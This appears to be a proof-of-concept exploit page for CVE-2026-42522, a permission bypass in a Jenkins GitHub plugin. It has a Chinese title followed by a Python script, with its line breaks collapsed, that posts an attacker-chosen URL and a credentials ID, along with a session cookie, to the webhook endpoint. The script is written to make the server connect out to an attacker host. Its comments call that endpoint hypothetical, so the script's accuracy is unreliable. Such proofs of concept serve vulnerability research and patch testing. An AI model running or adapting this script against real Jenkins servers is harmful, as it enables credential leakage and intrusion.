CVE-2026-42522 Jenkins GitHub插件权限绕过漏洞

#!/usr/bin/env python3 """ PoC for CVE-2026-42522 - Jenkins GitHub Branch Source Plugin Permission Bypass Description: Exploits missing permission check to connect to an arbitrary URL. """ import requests import sys def exploit(target_url, attacker_url, creds, session_cookie): """ Send a request to the vulnerable endpoint to connect to an attacker-specified URL. """ # The specific endpoint might vary based on Jenkins plugin configuration; # this represents the vulnerable action described in the CVE. endpoint = f"{target_url}/github-webhook/" # Hypothetical endpoint headers = { "Content-Type": "application/json" } cookies = { "JSESSIONID": session_cookie } payload = { "url": attacker_url, "apiUrl": attacker_url, "credentialsId": creds } try: print(f"[*] Sending request to {target_url} to connect to {attacker_url}") response = requests.post(endpoint, json=payload, headers=headers, cookies=cookies, verify=False) if response.status_code == 200: print("[+] Request sent successfully. Check attacker server for connection.") else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] An error occurred: {e}") if __name__ == "__main__": if len(sys.argv) != 5: print(f"Usage: python {sys.argv[0]} <target_jenkins_url> <attacker_url> <attacker_creds> <session_cookie>") sys.exit(1) TARGET = sys.argv[1] ATTACKER_URL = sys.argv[2] CREDS = sys.argv[3] COOKIE = sys.argv[4] exploit(TARGET, ATTACKER_URL, CREDS, COOKIE)